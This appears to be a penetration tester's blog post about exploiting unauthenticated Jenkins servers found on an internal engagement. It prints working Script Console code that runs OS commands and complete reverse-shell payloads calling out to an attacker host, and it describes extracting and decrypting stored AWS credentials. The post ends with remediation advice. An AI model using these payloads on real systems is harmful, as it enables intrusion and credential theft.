Welcome to Unauthenticated, a new blog series where we will demonstrate the risks of not requiring authentication to resources (web applications, network shares, IoT devices, etc.) in an environment through examples we’ve experienced on engagements.
Unauthenticated resources are often the first targets we will hunt for during an engagement. They are the proverbial “low-hanging fruit,” likely to provide privileged access with a low risk of detection.
Jenkins
Jenkins servers are used in software development to build, test, and deploy software – making them an interesting target of attack.
In this post, we’ll look at an internal penetration test where access to an unauthenticated Jenkins server led to remote code execution and compromise of the client’s AWS environment.
Discovery
Discovering Jenkins servers is pretty straightforward. After host discovery is performed against an environment, it is common to use a tool like EyeWitness or gowitness that automates browsing to every active host with an open port and taking a screenshot of the page if a web server responds.
Jenkins servers that are properly locked down should immediately prompt you with a login screen similar to this:
Jenkins servers that have authentication issues will not immediately prompt you to log in. Browsing to the base URL of a Jenkins server will present the homepage which typically displays the available projects:
Exploitation
The first thing I investigate for authentication issues is the Script Console page – located at https://URL/script. This page allows you to run Groovy script code that can run arbitrary operating system (OS) commands (Windows/Linux). The code will execute under the same permissions context of the Jenkins server, which from my experience has been a high-privileged user.
In the example below, we were able to make the Script Console page run OS commands on a Windows-based server, executing the commands whoami and ipconfig.
Windows example that does not wait for OS command execution to complete:
def cmd = "cmd.exe /c whoami & echo. & ipconfig".execute();
println("${cmd.text}");
Windows example that waits for execution of OS command to complete:
def sout = new StringBuffer(), serr = new StringBuffer() def proc = "ipconfig".execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
Linux example that does not wait for OS command execution to complete:
def cmd = "/bin/bash whoami".execute();
println("${cmd.text}");
Linux example that waits for execution of OS command to complete:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = "ls".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout\nerr> $serr"
Even better than running OS commands is code that can provide a reverse shell:
Script Console used to create a reverse shell
Netcat used to capture reverse shell from Jenkins Script Console
Windows reverse shell example:
string host="10.10.10.1";
int port=80;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Linux reverse shell example:
string host="10.10.10.1";
int port=80;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
The next place to check for authentication issues is the Credentials page – located at https://URL/credentials. The Credentials page allows you to access encrypted credentials that are easily extracted by viewing the source of the page.
On the engagement we got lucky by finding a Jenkins server that stored numerous AWS credentials, some of which provided full control over the AWS environment:
An encrypted version of credentials for any stored account can be retrieved by viewing the page source:
The encrypted credentials can be decrypted by using the Script Console:
The last place I investigate for authentication issues is project Workspaces. If you’re lucky, you may find interesting files within Workspaces that contain credentials or other sensitive information.
In the image below, we found a file called decrypted_secrets.json that contained cleartext for a client’s AWS environment:
Remediation
Requiring authentication on all resources in your environment is a critical aspect of securing your environment.
If you have Jenkins servers deploying in your environment ensure that authentication is required. Additionally, be sure to properly implement access controls by configuring Jenkins servers with granular permissions so that each authorized user only has access to the resources they require.
It may also be worthwhile to implement an audit program that regularly identifies Jenkins servers in your environment that do not have authentication properly configured. Tools like EyeWitness and gowitness are great resources to help visually identify Jenkins servers by automating the process of taking screenshots of web pages based on open ports.